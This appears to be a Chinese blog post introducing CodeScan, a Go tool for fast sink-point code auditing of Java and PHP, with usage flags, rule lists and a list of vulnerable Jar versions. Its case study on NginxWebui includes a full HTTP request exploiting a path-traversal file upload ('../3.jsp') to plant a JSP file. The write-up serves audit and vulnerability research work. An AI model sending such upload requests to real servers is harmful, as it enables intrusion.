开发 - develop-codescan-zwcz53

news2024/10/17 16:58:45

开发 - develop-codescan-zwcz53

  • 1. 开发 - CodeScan
  • 2. 前言
  • 3. CodeScan
    • 3.1. 工具概述
    • 3.2. 编译
    • 3.3. 功能
    • 3.4. 使用
    • 3.5. 高级用法
      • 3.5.1. 高扩展性
      • 3.5.2. 扫描位置
      • 3.5.3. 过滤字符串(只写了JSP + PHP)
      • 3.5.4. 静态分析依赖情况
    • 3.6. TODO
    • 3.7. 支持项目
    • 3.8. 详细使用文章(内附案例)
      • 3.8.1. 案例
        • 3.8.1.1. NginxWebui
          • 3.8.1.1.1. 任意文件上传
          • 3.8.1.1.2. RCE

1. 开发 - CodeScan

2. 前言

这里是详细解释下CodeScan的用法,之前偏向于快速的代码审计,于是就写了一个这种快速匹配Sink点的工具,省的每次点点点搜搜索了,Python属实不优雅,就拿go写了一下,难度不大,练练手的项目,审计也不能一成不变的死磕,利用一些辅助工具会事半功倍,以下为完全详解,有任何问题和Bug可以Github上提Issue或者在Blog的关于页面找我的联系方式进行私聊,对师傅们有帮助的话可以点点Stars捏。

作者:jack
‍项目地址:

https://github.com/Zjackky/CodeScan

3. CodeScan

3.1. 工具概述

该工具目的为对大多数不完整的代码以及依赖快速进行Sink点匹配来帮助红队完成快速代码审计,开发该工具的初衷是以Sink​到Source​的思路来开发,为了将所有可疑的Sink点匹配出来并且凭借第六感进行快速漏洞挖掘,并且该工具开发可扩展性强,成本极低,目前工具支持的语言有PHP,Java(JSP)

3.2. 编译

./build.sh

# 会生成所有版本在releases下

3.3. 功能

  1. 框架识别

  2. 涵盖大部分漏洞的Sink点的匹配(如图)

    image

  3. 可自定义定制化修改黑白名单内容

  4. 多模块化多语言化代码审计

  5. 进行融于鉴权代码的快速匹配抓取

  6. 根据Jar进行静态分析(默认分析)

  • mysqlconnect–>jdbc
  • Xstream --> xml/json

3.4. 使用

Usage of ./CodeScan_darwin_arm64:
  -L string
        审计语言
  -d string
        要扫描的目录
  -h string
        使用帮助
  -lb string
        行黑名单
  -m string
        过滤的字符串
  -pb string
        路径黑名单
  -r string
        RCE规则
  -u string
        文件上传规则


Example:
	CodeScan_windows_amd64.exe -L java -d ./net
	CodeScan_windows_amd64.exe -L php -d ./net
	CodeScan_windows_amd64.exe -d ./net -m "CheckSession.jsp"

3.5. 高级用法

以下均以Java作为示例

3.5.1. 高扩展性

很简单的自定义,如果需要自定义一些匹配规则,首先可以在这里加入

image

其次如果需要新增漏洞类型,只需要三步(这里以Sql为例)

  1. 新建SQL目录
  2. 定义一个方法叫 SqlCheck
  3. 写一个sqlcheck.txt(生成的文件名) + 你自定义的规则
  4. 最后在这里加入包名+方法名即可

image

package SqlTest

import (
	"CodeScan/FindFile"
	"fmt"
)

func SqlCheck(dir string) {
	FindFile.FindFileByJava(dir, "fastjson.txt", []string{".parseObject("})
	fmt.Println("SqlCheck分析完成")

}

3.5.2. 扫描位置

在打一些闭源代码的时候经常就一个Jar或者Class,反编译的时候会把依赖进行一起反编译,所以为了避免扫描一些依赖的误报,在工具中自带的黑名单中会过滤掉如下黑名单的包名,需要自定义的时候可自行修改,位置在CommonVul/Rule/MatchPathRule.go

var PathBlackJava = []string{
	"apache", "lombok", "microsoft", "solr",
	"amazonaws", "c3p0", "jodd", "afterturn", "hutool",
	"javassist", "alibaba", "aliyuncs", "javax", "jackson",
	"bytebuddy", "baomidou", "google", "netty", "redis", "mysql",
	"logback", "ognl", "oracle", "sun", "junit", "reactor", "github",
	"mchange", "taobao", "nimbusds", "opensymphony", "freemarker", "java", "apiguardian", "hibernate", "javassist", "jboss", "junit", "mybatis",
	"springframework", "slf4j",
}

所以这也导致了一个问题,不能从顶层上直接扫描

image

请把CodeScan放在Net同级目录下扫描(否则会忽略掉直接一个Java目录)

-d​后面的参数尽量在/src/main/java​之后,比如这里就需要把CodeScan放到net​目录下开始扫描

CodeScan_windows_amd64.exe -L java -d ./net

3.5.3. 过滤字符串(只写了JSP + PHP)

比如现在有一个代码百分百为鉴权代码在JSP中

<%@ include file="../../common/js/CheckSession.jsp"%>

此时可以用一下功能来进行快速获取未鉴权代码

CodeScan_windows_amd64.exe -d ./yuan -m "CheckSession.jsp"

此时会将不存在这个代码的文件都放到NoAuthDir​目录中,然后可以再扫一遍就可以立刻定位到存在未鉴权并且存在Sink点的函数文件了

CodeScan_windows_amd64.exe -L java -d ./NoAuthDir

3.5.4. 静态分析依赖情况

只需要在CodeScan的目录下放入EvilJarList.txt即可匹配出来

EvilJarList.txt​ 内容为存在可打漏洞的Jar​,模版如下

fastjson-1.2.47.jar
resin-4.0.63.jar
jackson-core-2.13.3.jar
c3p0-0.9.5.2.jar
commons-beanutils-1.9.4.jar
commons-beanutils-1.9.3.jar
commons-beanutils-1.9.2.jar
commons-collections-3.2.1.jar
mysql-connector-java-8.0.17.jar
commons-collections4-4.0.jar
shiro-core-1.10.1.jar
aspectjweaver-1.9.5.jar
rome-1.0.jar
xstream-1.4.11.1.jar
sqlite-jdbc-3.8.9.jar
vaadin-server-7.7.14.jar
hessian-4.0.63.jar

3.6. TODO

  • 将结果从TXT转为Excel
  • Sink点继续完善
  • ASP

3.7. 支持项目

  • 如果有师傅发现Bug或者有更好的建议请提issue感谢
  • 要是各位师傅通过本人的小工具挖到一些好洞记得回头点点Stars诶

3.8. 详细使用文章(内附案例)

3.8.1. 案例

这里就展示下一些简单的代码,只有自己用了才知道真香

3.8.1.1. NginxWebui

先框架分析为Spring

image

3.8.1.1.1. 任意文件上传

工具扫描出结果为

image

有时候代码就是可以直接秒的,这里发现transferTo​ 这个sink点就在控制层

找到src/main/java/com/cym/controller/adminPage/MainController.java

image

image

这种名字可以进行跨目录上传

直接传即可上传成功

image

报文

POST /admiNPage/main/upload HTTP/1.1
Host: localhost:8080
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0
Origin: http://localhost:8080
Referer: http://localhost:8080/adminPage/monitor
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
sec-ch-ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye8FPHsIAq9JN8j2A
 
------WebKitFormBoundarye8FPHsIAq9JN8j2A
Content-Disposition: form-data; name="file";filename="../3.jsp"
Content-Type: image/jpeg
 
<%out.print("test");%>
------WebKitFormBoundarye8FPHsIAq9JN8j2A--

image

3.8.1.1.2. RCE

image

直接去找了下控制层的代码

image

image

emmm这代码可真弱智,再去调用控制层的代码。。。

image
由于一些闭源代码不适合放,因此就拿个开源的nday来进行分析吧,其实原理懂了之后只是合适辅助罢了,但我看开源上都没有人写过,也是就造下轮子开源出来了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2217192.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

运维怎么转行网络安全?

经常有人问我&#xff1a;干网工、干运维多年遇瓶颈&#xff0c;想学点新技术给自己涨涨“身价”&#xff0c;应该怎么选择&#xff1f; 聪明人早已经用脚投票&#xff1a;近年来&#xff0c;越来越多运维的朋友寻找新的职业发展机会&#xff0c;将目光聚焦到了网络安全产业。…

大数据-174 Elasticsearch Query DSL - 全文检索 full-text query 匹配、短语、多字段 详细操作

点一下关注吧&#xff01;&#xff01;&#xff01;非常感谢&#xff01;&#xff01;持续更新&#xff01;&#xff01;&#xff01; 目前已经更新到了&#xff1a; Hadoop&#xff08;已更完&#xff09;HDFS&#xff08;已更完&#xff09;MapReduce&#xff08;已更完&am…

Python 3.13 中的 7 个新类型特性

刚刚发布的 Python 3.13 继续挑战了效率和优雅的极限。 除了在 Python 社区讨论已久的令人兴奋的自由线程模式 和 Just-In-Time 编译器之外&#xff0c;吸引我的还有类型系统的新改进。 在早期版本引入的强大类型系统基础上&#xff0c;Python 3.13 将引入七个新的类型特性&a…

数学考研高分突破:解题思维与速度的双重修炼

随着考研季的临近&#xff0c;众多考生为了在数学这一科目中取得高分&#xff0c;纷纷投入到紧张的复习中&#xff0c;如何在有限的时间内&#xff0c;既提高解题思维&#xff0c;又提升解题速度&#xff0c;成为了许多考生心中的难题&#xff0c;本文将围绕这一主题&#xff0…

如何批量下载采集淘宝图片?3个方法可以帮助你

如何批量下载采集淘宝图片&#xff1f;在现代电子商务的背景下&#xff0c;淘宝作为中国最大的在线购物平台之一&#xff0c;承载了数以亿计的商品和信息。对于从事电商运营、市场推广或网络营销的人员而言&#xff0c;采集淘宝图片已经成为日常工作中的重要任务。这不仅是为了…

网页前端开发之HTML入门

HTML入门 HTML全称HyperText Markup Language&#xff0c;中文译为&#xff1a;超文本标记语言。 它有一个同胞兄弟叫&#xff1a;XML&#xff0c;全称Extensible Markup Language&#xff0c;中文译为&#xff1a;可扩展标记语言。 简单来讲&#xff0c;它们都是标记语言。 …

Excel重新踩坑2:Excel数据类型;自定义格式(设置显示格式);分列操作;其他常用操作;一些重要操作

0、Excel数据类型&#xff1a;文本、数字、逻辑值、错误值 文本数据类型&#xff1a;输入什么显示什么&#xff1b;常见错误值 VALUE&#xff1a;文本与数字运算&#xff1b; DIV/0&#xff1a;分母为0&#xff1b; NAME&#xff1a;公式名称错误&#xff1b; N/A&#xff1a;…

最新Mac优化清理工具CleanMyMac X 4.15.6 for mac中文版图文教程

CleanMyMac X mac版下载是一款功能更加强大的系统优化清理工具&#xff0c;软件只需两个简单步骤就可以把系统里那些乱七八糟的无用文件统统清理掉&#xff0c;节省宝贵的磁盘空间。CleanMyMac X for mac相比于 CleanMyMac3来说&#xff0c;功能增加了不少&#xff0c;比如新增…

【数据分析】影响系数 =(今日量-昨日量)/(今日总量-昨日总量)

1. 影响系数 影响系数是一个用来衡量两个相关变量之间变化关系的指标。在给定的公式中&#xff1a; 今日量&#xff1a;指的是当前时间点的某个特定变量的值&#xff0c;比如今天某个商品的销售数量。昨日量&#xff1a;指的是前一个时间点&#xff08;通常是前一天&#xff…

实操部署amis-admin

当需要做一个web服务的时候&#xff0c;前端的实现很令我头疼。搜了一圈前端低代码框架后&#xff0c;注意到百度贡献的amis&#xff0c;通过json来写前端&#xff0c;很酷啊。不得不说&#xff0c;一个好的demo项目&#xff0c;真的能让人迅速进入状态&#xff0c;比直接看文档…

uniapp 省、市、区、乡镇 数据层级选择插件 Ba-DataPicker

Ba-DataPicker 是一款uniapp数据层级选择弹窗插件。支持省市区乡四级&#xff1b;支持自定义数据。 支持省、市、区、乡镇四级支持自定义数据支持字母检索 截图展示 支持定制、本地包、源码等&#xff0c;有建议和需要&#xff0c;请点击文章结尾“Uniapp插件开发”联系我&am…

高级prompt工程技巧:如何引导模型生成更精确的输出

在人工智能领域&#xff0c;提示词工程&#xff08;Prompt Engineering&#xff09;是提升模型输出质量的关键技术之一。通过精心设计的提示词&#xff0c;我们可以引导模型生成更符合预期的结果。本文将深入探讨几种高级提示词工程技巧&#xff0c;并提供实际操作的示例&#…

SpringBoot中集成海康威视SDK实现布防报警数据上传/交通违章图片上传并在linux上部署(附示例代码资源)

场景 需对接海康威视交通产品中的交通违章检测功能&#xff0c;实现车辆闯红灯时获取抓拍数据(车牌号)并获取上传的抓拍图片。 根据其官方资料设备网络SDK使用手册中说明&#xff0c;此流程需要可以通过报警布防方式进行。 访问官方下载SDK文档等资料 海康威视-引领智能物联…

华三服务器R4900 G5在图形界面使用PMC阵列卡(P460-B4)创建RAID,并安装系统(中文教程)

环境以用户需求安装Centos7.9&#xff0c;服务器使用9块900G硬盘&#xff0c;创建RAID1和RAID6&#xff0c;留一块作为热备盘。 使用笔记本通过HDM管理口&#xff08;&#xff09;登录 使用VGA&#xff08;&#xff09;线连接显示器和使用usb线连接键盘鼠标&#xff0c;进行窗…

生成 Excel 表列名称

Excel 大家都用过&#xff0c;它的列名是用字母编号的&#xff0c;A 表示第一列&#xff0c;B 表示第二列&#xff0c;AA 表示第27列&#xff0c;AB 表示第28列等等。 现给定一个数字&#xff0c;如何得到列名称呢。比如输入28&#xff0c;输出 AB。 一开始以为就是一个简单的…

C++ 算法学习——1.9 Kruskal算法

Kruskal算法是一种用于解决最小生成树&#xff08;Minimum Spanning Tree&#xff09;问题的贪婪算法。 Kruskal算法步骤&#xff1a; 初始化&#xff1a;将图中的所有边按照权值从小到大进行排序。 创建并查集&#xff1a;为每个顶点创建一个集合&#xff0c;用于判断两个顶…

中国灌溉农田空间分布

针对全国灌溉农田空间分布数据缺失的现状&#xff0c;融合MODIS植被指数和统计数据生成MIrAD-GI临时灌溉数据集&#xff0c;再利用约束统计和协同绘图方法将其与中国区域现有灌溉数据进行集成、整合&#xff0c;生成了2000-2019年中国逐年灌溉农田分布数据集&#xff08;500米空…

5、JavaScript(四)

25.ajax : 前端向后端异步的取数据而无需刷新页面的技术 1 公司中的整体工作流程 1、项目开发的流程 每个职位该做的工作&#xff1a; 产品经理&#xff1a;提需求的 与客户沟通 画出原型图给程序员使用 UI设计师&#xff1a;美化 替换UI框架&#xff1a;antd element-ui e…

python将照片集导出成视频

shigen坚持更新文章的博客写手&#xff0c;记录成长&#xff0c;分享认知&#xff0c;留住感动。个人IP&#xff1a;shigen 背景 一个安静的下午&#xff0c;看着电脑里乱七八糟的照片&#xff0c;有大有小&#xff0c;宽高不一&#xff0c;突然想找个方式把他们统一起来&…

SketchUp Pro 2024 for Mac 3D建模 草图设计大师软件安装【保姆级教程,简单小白轻松上手】

Mac分享吧 文章目录 SketchUp Pro 3D建模 草图设计大师软件 安装完成&#xff0c;软件打开效果一、Mac中安装SketchUp Pro 3D建模 草图设计大师软件——v241️⃣&#xff1a;下载软件2️⃣&#xff1a;安装软件&#xff0c;将安装包从左侧拖入右侧文件夹中3️⃣&#xff1a;应…